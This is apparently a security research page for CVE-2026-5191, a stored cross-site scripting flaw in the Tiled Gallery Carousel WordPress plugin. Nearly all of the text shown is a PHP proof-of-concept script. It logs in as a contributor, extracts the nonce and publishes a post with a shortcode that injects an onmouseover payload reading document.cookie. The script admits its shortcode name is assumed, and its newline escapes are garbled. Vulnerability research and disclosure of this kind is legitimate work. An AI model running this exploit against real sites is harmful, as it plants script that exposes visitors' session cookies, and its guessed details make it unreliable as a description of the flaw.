CVE-2026-5191: Tiled Gallery Carousel Without JetPack <= 3.1 Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-image-title' PoC, Patch Analysis & Rule

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5191 - Tiled Gallery Carousel Without JetPack <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-image-title'

// Configuration
$target_url = 'http://example.com'; // Replace with target WordPress URL
$username = 'contributor';
$password = 'password';

// Step 1: Authenticate
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Login failed: ' . curl_error($ch));
}
curl_close($ch);
echo "Authentication successful.n";

// Step 2: Get the new post page to get the _wpnonce
$new_post_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Extract _wpnonce
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
if (!isset($matches[1])) {
    die('Could not get nonce.');
}
$nonce = $matches[1];
echo "Nonce obtained: $noncen";

// Step 3: Create a new post with malicious shortcode
$post_title = 'Test Post XSS';
// XSS payload in data-image-title attribute - breaks out of attribute context and injects script
$payload = '" onmouseover="alert(document.cookie)" data-x="';
// The shortcode name is assumed based on the plugin slug; the exact shortcode may vary.
// The 'data-image-title' parameter is passed inside the shortcode.
$post_content = '[tiled-gallery-carousel images="1" data-image-title="' . $payload . '"][/tiled-gallery-carousel]';

$post_data = array(
    '_wpnonce' => $nonce,
    'post_type' => 'post',
    'title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish'
);

$post_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Post creation failed: ' . curl_error($ch));
}
curl_close($ch);

echo "Post created with XSS payload.n";
echo "Visit the published post to trigger the XSS (move mouse over image).n";
?>